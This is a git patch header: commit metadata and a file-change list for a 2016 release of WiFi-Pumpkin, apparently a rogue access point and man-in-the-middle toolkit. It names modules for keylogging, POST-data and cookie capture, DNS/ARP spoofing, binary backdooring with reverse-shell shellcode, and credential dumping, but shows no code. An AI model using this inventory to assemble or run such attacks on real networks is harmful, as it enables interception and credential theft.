From bd99959c2fd1b51d556280543e2bc911713831ba Mon Sep 17 00:00:00 2001 From: mh4x0f Date: Thu, 22 Dec 2016 10:40:40 -0300 Subject: [PATCH] WiFi-Pumpkin v0.8.4 initial commit --- CHANGELOG | 6 + README.md | 104 ++++++++----- core/config/app/config.ini | 10 +- core/config/app/proxy.ini | 38 +++++ core/config/commits/Lcommits.cfg | 8 + core/helpers/about.py | 21 ++- core/helpers/report.py | 4 +- core/helpers/update.py | 4 +- core/loaders/master/github.py | 2 +- core/loaders/models/PackagesUI.py | 1 + core/main.py | 138 +++++++++++------ .../bdf => core/servers}/__init__.py | 0 .../arm => core/servers/proxy}/__init__.py | 0 core/servers/proxy/controller/__init__.py | 1 + core/servers/proxy/controller/handler.py | 120 +++++++++++++++ core/servers/proxy/scripts/msfkeylogger.js | 117 ++++++++++++++ core/themes/themeDefault.qss | 11 +- core/utility/settings.py | 18 +-- core/utility/threads.py | 67 ++++++-- core/utils.py | 3 +- core/widgets/notifications.py | 85 +++++++++++ core/widgets/pluginssettings.py | 69 +++++++++ core/widgets/popupmodels.py | 144 +++++++++++------- core/widgets/tabmodels.py | 120 ++++++++++++++- docs/proxyscenario.png | Bin 0 -> 89741 bytes icons/donatepay.gif | Bin 0 -> 3592 bytes icons/pumpkinproxy.png | Bin 0 -> 1563 bytes .../AccessPoint/pumpkin-proxy.log | 0 .../{Credentials.py => credentials.py} | 3 + modules/monitors/dns2proxy.py | 3 + modules/monitors/netcreds.py | 3 + modules/poisoners/ArpPosion.py | 24 +-- modules/poisoners/DnsSpoof.py | 16 +- modules/spreads/UpdateFake.py | 10 +- modules/systems/Macchanger.py | 88 ----------- modules/systems/dhcpStarvation.py | 2 +- modules/wireless/ProbeRequest.py | 4 +- modules/wireless/WirelessDeauth.py | 22 +-- plugins/extension/__init__.py | 5 + plugins/extension/beef.py | 56 +++++++ plugins/extension/dnsspoof.py | 73 +++++++++ plugins/extension/downloadspoof.py | 66 ++++++++ plugins/extension/dump_post_data.py | 85 +++++++++++ plugins/extension/html_inject.py | 63 ++++++++ plugins/extension/inverted_internet.py | 26 ++++ plugins/extension/js_inject.py | 56 +++++++ plugins/extension/keylogger.py | 69 +++++++++ plugins/extension/plugin.py | 32 ++++ plugins/extension/replaceImages.py | 52 +++++++ plugins/extension/shakepage.py | 52 +++++++ plugins/extension/stickycookie.py | 51 +++++++ .../__init__.py => extension/tmp/__int__.py} | 0 .../winapi => extension/tmp/doc}/__init__.py | 0 .../tmp/exe}/__init__.py | 0 .../servers => extension/tmp/pdf}/__init__.py | 0 .../tmp/xls}/__init__.py | 0 plugins/extension/upsidedownternet.py | 52 +++++++ plugins/{ => external}/BDFProxy-ng/LICENSE | 0 plugins/{ => external}/BDFProxy-ng/README.md | 0 .../BDFProxy-ng}/__init__.py | 0 .../{ => external}/BDFProxy-ng/bdf/.gitignore | 0 .../{ => external}/BDFProxy-ng/bdf/COPYING | 0 .../{ => external}/BDFProxy-ng/bdf/README.md | 0 .../BDFProxy-ng/bdf}/__init__.py | 0 .../BDFProxy-ng/bdf/aPLib}/__init__.py | 0 .../bdf/aPLib/contrib/16bit/deppack.nas | 0 .../bdf/aPLib/contrib/16bit/depptiny.nas | 0 .../bdf/aPLib/contrib/16bit/history.txt | 0 .../bdf/aPLib/contrib/16bit/makeit.bat | 0 .../bdf/aPLib/contrib/AppleII/apdstsrc.s | 0 .../bdf/aPLib/contrib/AppleII/apsrcdst.s | 0 .../bdf/aPLib/contrib/AppleII/readme.txt | 0 .../bdf/aPLib/contrib/PowerBASIC/aplib.bas | 0 .../bdf/aPLib/contrib/PowerBASIC/aplib.inc | 0 .../aPLib/contrib/PowerBuilder/example.txt | 0 .../contrib/PowerBuilder/str_filetime.srs | 0 .../contrib/PowerBuilder/str_netresource.srs | 0 .../contrib/PowerBuilder/str_ofstruct.srs | 0 .../contrib/PowerBuilder/str_overlapped.srs | 0 .../PowerBuilder/str_security_attibutes.srs | 0 .../uo_external_function_compression.sru | 0 .../uo_external_function_winapi.sru | 0 .../bdf/aPLib/contrib/VB6/maPLib.bas | 0 .../bdf/aPLib/contrib}/__init__.py | 0 .../aPLib/contrib/ada/ACU_Dos/apacdemo.ali | 0 .../bdf/aPLib/contrib/ada/ACU_Dos/aplib.ali | 0 .../aPLib/contrib/ada/ACU_Win/apacdemo.ali | 0 .../bdf/aPLib/contrib/ada/ACU_Win/aplib.ali | 0 .../bdf/aPLib/contrib/ada/aPLibAda.txt | 0 .../bdf/aPLib/contrib/ada/apacdemo.adb | 0 .../bdf/aPLib/contrib/ada/aplib.adb | 0 .../bdf/aPLib/contrib/ada/aplib.ads | 0 .../bdf/aPLib/contrib/ada/gnat.ago | 0 .../bdf/aPLib/contrib/ada/mk_aonix.bat | 0 .../bdf/aPLib/contrib/ada/mk_gndos.bat | 0 .../bdf/aPLib/contrib/ada/mk_gnwin.bat | 0 .../bdf/aPLib/contrib/bcb/MainFormUnit.cpp | 0 .../bdf/aPLib/contrib/bcb/MainFormUnit.ddp | Bin .../bdf/aPLib/contrib/bcb/MainFormUnit.dfm | 0 .../bdf/aPLib/contrib/bcb/MainFormUnit.h | 0 .../contrib/bcb/README_ABOUT_APLIB_DLL.txt | 0 .../bdf/aPLib/contrib/bcb/apacksamplec.cpp | 0 .../bdf/aPLib/contrib/bcb/apacksamplec.h | 0 .../bdf/aPLib/contrib/bcb/aptest.bpr | 0 .../bdf/aPLib/contrib/bcb/aptest.cpp | 0 .../bdf/aPLib/contrib/bcb/aptest.res | Bin .../bdf/aPLib/contrib/delphi/aplib.pas | 0 .../bdf/aPLib/contrib/delphi/aplibu.pas | 0 .../bdf/aPLib/contrib/delphi/aplibud.pas | 0 .../bdf/aPLib/contrib/delphi/aptest.dof | 0 .../bdf/aPLib/contrib/delphi/aptest.dpr | 0 .../bdf/aPLib/contrib/delphi/aptest.res | Bin .../bdf/aPLib/contrib/delphi/makefile | 0 .../bdf/aPLib/contrib/delphi/t_main.dfm | Bin .../bdf/aPLib/contrib/delphi/t_main.pas | 0 .../IbsenSoftware/aPLib/AssemblyInfo.cs | 0 .../IbsenSoftware/aPLib/DllInterface.cs | 0 .../bdf/aPLib/contrib/dotnet/appack.cs | 0 .../bdf/aPLib/contrib/dotnet/mk.bat | 0 .../bdf/aPLib/contrib/masm32/ap.ico | Bin .../bdf/aPLib/contrib/masm32/aplib.inc | 0 .../bdf/aPLib/contrib/masm32/appack.asm | 0 .../bdf/aPLib/contrib/masm32/appack.inc | 0 .../bdf/aPLib/contrib/masm32/ctrls.asm | 0 .../bdf/aPLib/contrib/masm32/file0750.bmp | Bin .../bdf/aPLib/contrib/masm32/filedlgs.asm | 0 .../bdf/aPLib/contrib/masm32/makeit.bat | 0 .../bdf/aPLib/contrib/masm32/rsrc.rc | 0 .../bdf/aPLib/contrib/masm32/tbmacros.asm | 0 .../bdf/aPLib/contrib/masm32/toolbar.asm | 0 .../bdf/aPLib/contrib/python}/__init__.py | 0 .../bdf/aPLib/contrib/python/aplib.py | 0 .../bdf/aPLib/contrib/tmt/aplibu.pas | 0 .../bdf/aPLib/contrib/tmt/appack.pas | 0 .../bdf/aPLib/contrib/tmt/apunpack.pas | 0 .../bdf/aPLib/contrib/tmt/makeit.bat | 0 .../bdf/aPLib/contrib/vpascal/aplib.def | 0 .../bdf/aPLib/contrib/vpascal/aplibu.pas | 0 .../bdf/aPLib/contrib/vpascal/aplibud.pas | 0 .../bdf/aPLib/contrib/vpascal/appack.pas | 0 .../bdf/aPLib/contrib/vpascal/apunpack.pas | 0 .../bdf/aPLib/contrib/vpascal/descript.ion | 0 .../bdf/aPLib/contrib/vpascal/make_exe.cmd | 0 .../bdf/aPLib/contrib/vpascal/test_exe.cmd | 0 .../bdf/aPLib/contrib/vpascal/vpc.cfg | 0 .../BDFProxy-ng/bdf/aPLib/doc/aPLib.chm | Bin .../BDFProxy-ng/bdf/aPLib/doc/html/.buildinfo | 0 .../doc/html/_sources/acknowledgements.txt | 0 .../bdf/aPLib/doc/html/_sources/changes.txt | 0 .../aPLib/doc/html/_sources/compression.txt | 0 .../aPLib/doc/html/_sources/decompression.txt | 0 .../bdf/aPLib/doc/html/_sources/general.txt | 0 .../bdf/aPLib/doc/html/_sources/index.txt | 0 .../bdf/aPLib/doc/html/_sources/license.txt | 0 .../aPLib/doc/html/_static/ajax-loader.gif | Bin .../bdf/aPLib/doc/html/_static/basic.css | 0 .../aPLib/doc/html/_static/comment-bright.png | Bin .../aPLib/doc/html/_static/comment-close.png | Bin .../bdf/aPLib/doc/html/_static/comment.png | Bin .../bdf/aPLib/doc/html/_static/default.css | 0 .../bdf/aPLib/doc/html/_static/doctools.js | 0 .../aPLib/doc/html/_static/down-pressed.png | Bin .../bdf/aPLib/doc/html/_static/down.png | Bin .../bdf/aPLib/doc/html/_static/file.png | Bin .../bdf/aPLib/doc/html/_static/grey.css | 0 .../bdf/aPLib/doc/html/_static/jquery.js | 0 .../bdf/aPLib/doc/html/_static/minus.png | Bin .../bdf/aPLib/doc/html/_static/plus.png | Bin .../bdf/aPLib/doc/html/_static/pygments.css | 0 .../bdf/aPLib/doc/html/_static/searchtools.js | 0 .../bdf/aPLib/doc/html/_static/sidebar.js | 0 .../bdf/aPLib/doc/html/_static/underscore.js | 0 .../bdf/aPLib/doc/html/_static/up-pressed.png | Bin .../bdf/aPLib/doc/html/_static/up.png | Bin .../bdf/aPLib/doc/html/_static/websupport.js | 0 .../bdf/aPLib/doc/html/acknowledgements.html | 0 .../bdf/aPLib/doc/html/changes.html | 0 .../bdf/aPLib/doc/html/compression.html | 0 .../bdf/aPLib/doc/html/decompression.html | 0 .../bdf/aPLib/doc/html/general.html | 0 .../bdf/aPLib/doc/html/genindex.html | 0 .../BDFProxy-ng/bdf/aPLib/doc/html/index.html | 0 .../bdf/aPLib/doc/html/license.html | 0 .../bdf/aPLib/doc/html/objects.inv | Bin .../bdf/aPLib/doc/html/search.html | 0 .../bdf/aPLib/doc/html/searchindex.js | 0 .../BDFProxy-ng/bdf/aPLib/example/appack.c | 0 .../bdf/aPLib/example/make_bcc.bat | 0 .../bdf/aPLib/example/make_dll.bat | 0 .../BDFProxy-ng/bdf/aPLib/example/make_pc.bat | 0 .../BDFProxy-ng/bdf/aPLib/example/make_vc.bat | 0 .../bdf/aPLib/example/make_wat.bat | 0 .../bdf/aPLib/example/makefile.cyg | 0 .../bdf/aPLib/example/makefile.elf | 0 .../bdf/aPLib/example/makefile.macho | 0 .../bdf/aPLib/example/makefile.mgw | 0 .../BDFProxy-ng/bdf/aPLib/readme.txt | 0 .../BDFProxy-ng/bdf/aPLib/src/32bit/crc32.asm | 0 .../bdf/aPLib/src/32bit/depack.asm | 0 .../bdf/aPLib/src/32bit/depackf.asm | 0 .../bdf/aPLib/src/32bit/depacks.asm | 0 .../bdf/aPLib/src/32bit/scheck.asm | 0 .../bdf/aPLib/src/32bit/sdepack.asm | 0 .../bdf/aPLib/src/32bit/sgetsize.asm | 0 .../BDFProxy-ng/bdf/aPLib/src/32bit/spack.asm | 0 .../BDFProxy-ng/bdf/aPLib/src/64bit/crc32.asm | 0 .../bdf/aPLib/src/64bit/depack.asm | 0 .../bdf/aPLib/src/64bit/depackf.asm | 0 .../bdf/aPLib/src/64bit/depacks.asm | 0 .../bdf/aPLib/src/64bit/scheck.asm | 0 .../bdf/aPLib/src/64bit/sdepack.asm | 0 .../bdf/aPLib/src/64bit/sgetsize.asm | 0 .../BDFProxy-ng/bdf/aPLib/src/64bit/spack.asm | 0 .../BDFProxy-ng/bdf/aPLib/src/depack.c | 0 .../BDFProxy-ng/bdf/aPLib/src/depack.h | 0 .../BDFProxy-ng/bdf/aPLib/src/depacks.c | 0 .../BDFProxy-ng/bdf/aPLib/src/depacks.h | 0 .../BDFProxy-ng/bdf/arm/LinuxARMLELF32.py | 0 .../BDFProxy-ng/bdf/arm}/__init__.py | 0 .../BDFProxy-ng/bdf/asm/__init__.py} | 0 .../BDFProxy-ng/bdf/asm/build.py | 0 .../bdf/asm/src/loadliba_reverse_tcp.asm | 0 .../bdf/asm/src/loadliba_shell.asm | 0 .../src/loadliba_single_shell_reverse_tcp.asm | 0 .../BDFProxy-ng/bdf/backdoor.py | 0 .../{ => external}/BDFProxy-ng/bdf/elfbin.py | 0 .../{ => external}/BDFProxy-ng/bdf/install.sh | 0 .../bdf/intel/FreeBSDIntelELF32.py | 0 .../BDFProxy-ng/bdf/intel/LinuxIntelELF32.py | 0 .../BDFProxy-ng/bdf/intel/LinuxIntelELF64.py | 0 .../BDFProxy-ng/bdf/intel/MachoIntel32.py | 0 .../BDFProxy-ng/bdf/intel/MachoIntel64.py | 0 .../BDFProxy-ng/bdf/intel/WinIntelPE32.py | 0 .../BDFProxy-ng/bdf/intel/WinIntelPE64.py | 0 .../BDFProxy-ng/bdf/intel/__init__.py} | 0 .../BDFProxy-ng/bdf/intel/intelCore.py | 0 .../BDFProxy-ng/bdf/intel/intelmodules.py | 0 .../BDFProxy-ng/bdf/machobin.py | 0 .../BDFProxy-ng/bdf/onionduke/__init__.py} | 0 .../BDFProxy-ng/bdf/onionduke/onionduke.py | 0 .../BDFProxy-ng/bdf/payloadtests.py | 9 +- .../{ => external}/BDFProxy-ng/bdf/pebin.py | 29 ++-- .../{ => external}/BDFProxy-ng/bdf/update.sh | 0 .../BDFProxy-ng/bdf/winapi/__init__.py} | 0 .../BDFProxy-ng/bdf/winapi/winapi.py | 0 .../{ => external}/BDFProxy-ng/bdf_proxy.py | 4 +- .../{ => external}/BDFProxy-ng/bdfproxy.cfg | 10 +- .../BDFProxy-ng/bdfproxy_msf_resource.rc | 0 .../BDFProxy-ng/requirements.txt | 0 .../{ => external}/BDFProxy-ng/test_script.sh | 0 plugins/{ => external}/BDFProxy-ng/wpBDF.sh | 0 plugins/{ => external}/Responder/.gitignore | 0 plugins/{ => external}/Responder/LICENSE | 0 plugins/{ => external}/Responder/README.md | 0 .../{ => external}/Responder/Responder.conf | 8 +- plugins/{ => external}/Responder/Responder.py | 14 +- plugins/external/Responder/__init__.py | 0 .../Responder/certs/gen-self-signed-cert.sh | 0 .../Responder/certs/responder.crt | 0 .../Responder/certs/responder.key | 0 .../Responder/files/AccessDenied.html | 0 .../Responder/files/BindShell.exe | Bin .../{ => external}/Responder/fingerprint.py | 0 plugins/external/Responder/logs/.gitignore | 0 plugins/{ => external}/Responder/odict.py | 0 plugins/{ => external}/Responder/packets.py | 0 .../Responder/poisoners/LLMNR.py | 0 .../Responder/poisoners/MDNS.py | 0 .../Responder/poisoners/NBTNS.py | 0 .../external/Responder/poisoners/__init__.py | 0 .../Responder/servers/Browser.py | 0 .../{ => external}/Responder/servers/DNS.py | 0 .../{ => external}/Responder/servers/FTP.py | 0 .../{ => external}/Responder/servers/HTTP.py | 0 .../Responder/servers/HTTP_Proxy.py | 0 .../{ => external}/Responder/servers/IMAP.py | 0 .../Responder/servers/Kerberos.py | 0 .../{ => external}/Responder/servers/LDAP.py | 0 .../{ => external}/Responder/servers/MSSQL.py | 0 .../{ => external}/Responder/servers/POP3.py | 0 .../Responder/servers/Proxy_Auth.py | 0 .../{ => external}/Responder/servers/SMB.py | 0 .../{ => external}/Responder/servers/SMTP.py | 0 .../external/Responder/servers/__init__.py | 0 plugins/{ => external}/Responder/settings.py | 4 +- .../Responder/tools/BrowserListener.py | 0 .../{ => external}/Responder/tools/DHCP.py | 0 .../Responder/tools/DHCP_Auto.sh | 0 .../Responder/tools/FindSMB2UPTime.py | 0 .../Responder/tools/FindSQLSrv.py | 0 .../Responder/tools/Icmp-Redirect.py | 0 .../Responder/tools/MultiRelay.py | 0 .../tools/MultiRelay/RelayMultiCore.py | 0 .../tools/MultiRelay/RelayMultiPackets.py | 0 .../Responder/tools/MultiRelay/__init__.py | 0 .../tools/MultiRelay/creddump/CHANGELOG | 0 .../tools/MultiRelay/creddump/COPYING | 0 .../tools/MultiRelay/creddump/README | 0 .../tools/MultiRelay/creddump/__init__.py | 0 .../tools/MultiRelay/creddump/cachedump.py | 0 .../MultiRelay/creddump/framework/__init__.py | 0 .../creddump/framework/addrspace.py | 0 .../MultiRelay/creddump/framework/newobj.py | 0 .../MultiRelay/creddump/framework/object.py | 0 .../MultiRelay/creddump/framework/types.py | 0 .../creddump/framework/win32/__init__.py | 0 .../creddump/framework/win32/domcachedump.py | 0 .../creddump/framework/win32/hashdump.py | 0 .../creddump/framework/win32/lsasecrets.py | 0 .../creddump/framework/win32/rawreg.py | 0 .../tools/MultiRelay/creddump/lsadump.py | 0 .../tools/MultiRelay/creddump/pwdump.py | 0 .../tools/MultiRelay/relay-dumps/.gitignore | 0 .../Responder/tools/RunFinger.py | 0 .../Responder/tools/SMBFinger/Finger.py | 0 .../Responder/tools/SMBFinger/__init__.py | 0 .../Responder/tools/SMBFinger/odict.py | 0 plugins/external/Responder/tools/__init__.py | 0 .../{ => external}/Responder/tools/odict.py | 0 plugins/{ => external}/Responder/utils.py | 11 +- plugins/external/__init__.py | 0 plugins/{ => external}/dns2proxy/IPBouncer.sh | 0 plugins/{ => external}/dns2proxy/README.md | 0 plugins/external/dns2proxy/__init__.py | 0 plugins/{ => external}/dns2proxy/dns2proxy.py | 18 +-- plugins/{ => external}/dns2proxy/dnsalert.txt | 0 plugins/{ => external}/dns2proxy/dnslog.txt | 0 plugins/{ => external}/dns2proxy/domains.cfg | 0 plugins/{ => external}/dns2proxy/fhtagn.sh | 0 plugins/{ => external}/dns2proxy/ia.sh | 0 plugins/{ => external}/dns2proxy/nospoof.cfg | 0 .../{ => external}/dns2proxy/nospoofto.cfg | 0 plugins/{ => external}/dns2proxy/resolv.conf | 0 plugins/{ => external}/dns2proxy/spoof.cfg | 0 .../{ => external}/dns2proxy/transform.cfg | 0 plugins/external/dns2proxy/victims.cfg | 0 plugins/{ => external}/net-creds/LICENSE | 0 plugins/{ => external}/net-creds/README.md | 0 plugins/{ => external}/net-creds/__init__.py | 0 plugins/{ => external}/net-creds/net-creds.py | 0 .../{ => external}/net-creds/requirements.txt | 0 {proxy => plugins/external/scripts}/Plugin.py | 0 .../external/scripts}/__init__.py | 0 .../external/scripts}/background.py | 0 {proxy => plugins/external/scripts}/beef.py | 0 .../external/scripts}/blurpage.py | 0 .../external/scripts}/css/flipimages.css | 0 .../external/scripts}/css_injection.py | 0 .../external/scripts}/htmlinjector.py | 0 .../external/scripts}/js/shake.js | 0 .../external/scripts}/js_injection.py | 0 .../external/scripts}/noscroll.py | 0 .../external/scripts}/shakepage.py | 0 {proxy => plugins/external/scripts}/title.py | 0 .../{ => external}/sergio_proxy/README.txt | 0 plugins/external/sergio_proxy/__init__.py | 0 .../{ => external}/sergio_proxy/argparse.py | 0 .../sergio_proxy/data/blank.pdf | Bin .../sergio_proxy/examples/base-example.args | 0 .../examples/browserpwn-example.args | 0 .../examples/filepwn-example.args | 0 .../examples/smbauth-example.args | 0 plugins/{ => external}/sergio_proxy/lock.ico | Bin .../sergio_proxy/plugins/ArpSpoof.py | 2 +- .../sergio_proxy/plugins/BrowserPwn.py | 4 +- .../sergio_proxy/plugins/CacheKill.py | 2 +- .../sergio_proxy/plugins/FilePwn.py | 2 +- .../sergio_proxy/plugins/Inject.py | 5 +- .../sergio_proxy/plugins/SMBAuth.py | 5 +- .../sergio_proxy/plugins/StartMSF.py | 2 +- .../sergio_proxy/plugins/Upsidedownternet.py | 2 +- .../sergio_proxy/plugins/__init__.py | 0 .../sergio_proxy/plugins/plugin.py | 0 .../sergio_proxy/plugins/test.py | 1 - .../sergio_proxy/sergio-proxy.py | 21 +-- .../sergio_proxy/sslstrip/COPYING.sslstrip | 0 .../sergio_proxy/sslstrip/ClientRequest.py | 0 .../sergio_proxy/sslstrip/CookieCleaner.py | 0 .../sergio_proxy/sslstrip/DnsCache.py | 0 .../sslstrip/DummyResponseTamperer.py | 0 .../sergio_proxy/sslstrip/ProxyPlugins.py | 0 .../sergio_proxy/sslstrip/README.sergio-proxy | 0 .../sergio_proxy/sslstrip/README.sslstrip | 0 .../sslstrip/ResponseTampererFactory.py | 0 .../sslstrip/SSLServerConnection.py | 0 .../sergio_proxy/sslstrip/ServerConnection.py | 4 +- .../sslstrip/ServerConnectionFactory.py | 0 .../sergio_proxy/sslstrip/StrippingProxy.py | 0 .../sergio_proxy/sslstrip/URLMonitor.py | 0 .../sergio_proxy/sslstrip/__init__.py | 0 plugins/{ => external}/sslstrip/COPYING | 0 .../{ => external}/sslstrip/COPYING.sslstrip | 0 .../{ => external}/sslstrip/ClientRequest.py | 0 .../{ => external}/sslstrip/CookieCleaner.py | 0 plugins/{ => external}/sslstrip/DnsCache.py | 0 .../sslstrip/DummyResponseTamperer.py | 0 plugins/{ => external}/sslstrip/README.md | 0 .../sslstrip/ResponseTampererFactory.py | 0 .../sslstrip/SSLServerConnection.py | 0 .../sslstrip/ServerConnection.py | 2 +- .../sslstrip/ServerConnectionFactory.py | 0 .../{ => external}/sslstrip/StrippingProxy.py | 0 plugins/{ => external}/sslstrip/URLMonitor.py | 0 plugins/external/sslstrip/__init__.py | 0 requirements.txt | 3 +- wifi-pumpkin.py | 2 +- 406 files changed, 1765 insertions(+), 403 deletions(-) create mode 100644 core/config/app/proxy.ini rename {plugins/BDFProxy-ng/bdf => core/servers}/__init__.py (100%) rename {plugins/BDFProxy-ng/bdf/arm => core/servers/proxy}/__init__.py (100%) create mode 100644 core/servers/proxy/controller/__init__.py create mode 100644 core/servers/proxy/controller/handler.py create mode 100644 core/servers/proxy/scripts/msfkeylogger.js create mode 100644 core/widgets/notifications.py create mode 100644 docs/proxyscenario.png create mode 100644 icons/donatepay.gif create mode 100644 icons/pumpkinproxy.png rename plugins/BDFProxy-ng/bdf/intel/__init__.py => logs/AccessPoint/pumpkin-proxy.log (100%) rename modules/monitors/{Credentials.py => credentials.py} (97%) delete mode 100644 modules/systems/Macchanger.py create mode 100644 plugins/extension/__init__.py create mode 100644 plugins/extension/beef.py create mode 100644 plugins/extension/dnsspoof.py create mode 100644 plugins/extension/downloadspoof.py create mode 100644 plugins/extension/dump_post_data.py create mode 100644 plugins/extension/html_inject.py create mode 100644 plugins/extension/inverted_internet.py create mode 100644 plugins/extension/js_inject.py create mode 100644 plugins/extension/keylogger.py create mode 100644 plugins/extension/plugin.py create mode 100644 plugins/extension/replaceImages.py create mode 100644 plugins/extension/shakepage.py create mode 100644 plugins/extension/stickycookie.py rename plugins/{BDFProxy-ng/bdf/onionduke/__init__.py => extension/tmp/__int__.py} (100%) rename plugins/{BDFProxy-ng/bdf/winapi => extension/tmp/doc}/__init__.py (100%) rename plugins/{Responder/poisoners => extension/tmp/exe}/__init__.py (100%) rename plugins/{Responder/servers => extension/tmp/pdf}/__init__.py (100%) rename plugins/{Responder/tools/MultiRelay => extension/tmp/xls}/__init__.py (100%) create mode 100644 plugins/extension/upsidedownternet.py rename plugins/{ => external}/BDFProxy-ng/LICENSE (100%) rename plugins/{ => external}/BDFProxy-ng/README.md (100%) rename plugins/{Responder/tools/MultiRelay/creddump/framework => external/BDFProxy-ng}/__init__.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/.gitignore (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/COPYING (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/README.md (100%) rename plugins/{Responder/tools/MultiRelay/creddump/framework/win32 => external/BDFProxy-ng/bdf}/__init__.py (100%) rename plugins/{Responder/tools/SMBFinger => external/BDFProxy-ng/bdf/aPLib}/__init__.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/16bit/deppack.nas (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/16bit/depptiny.nas (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/16bit/history.txt (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/16bit/makeit.bat (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/AppleII/apdstsrc.s (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/AppleII/apsrcdst.s (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/AppleII/readme.txt (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/PowerBASIC/aplib.bas (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/PowerBASIC/aplib.inc (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/example.txt (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_filetime.srs (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_netresource.srs (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_ofstruct.srs (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_overlapped.srs (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_security_attibutes.srs (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/uo_external_function_compression.sru (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/uo_external_function_winapi.sru (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/VB6/maPLib.bas (100%) rename plugins/{sergio_proxy => external/BDFProxy-ng/bdf/aPLib/contrib}/__init__.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Dos/apacdemo.ali (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Dos/aplib.ali (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Win/apacdemo.ali (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Win/aplib.ali (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/ada/aPLibAda.txt (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/ada/apacdemo.adb (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/ada/aplib.adb (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/ada/aplib.ads (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/ada/gnat.ago (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_aonix.bat (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_gndos.bat (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_gnwin.bat (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.cpp (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.ddp (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.dfm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.h (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/bcb/README_ABOUT_APLIB_DLL.txt (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/bcb/apacksamplec.cpp (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/bcb/apacksamplec.h (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.bpr (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.cpp (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.res (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplib.pas (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplibu.pas (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplibud.pas (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.dof (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.dpr (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.res (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/delphi/makefile (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/delphi/t_main.dfm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/delphi/t_main.pas (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/dotnet/IbsenSoftware/aPLib/AssemblyInfo.cs (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/dotnet/IbsenSoftware/aPLib/DllInterface.cs (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/dotnet/appack.cs (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/dotnet/mk.bat (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/masm32/ap.ico (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/masm32/aplib.inc (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/masm32/appack.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/masm32/appack.inc (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/masm32/ctrls.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/masm32/file0750.bmp (100%) rename plugins/{ => 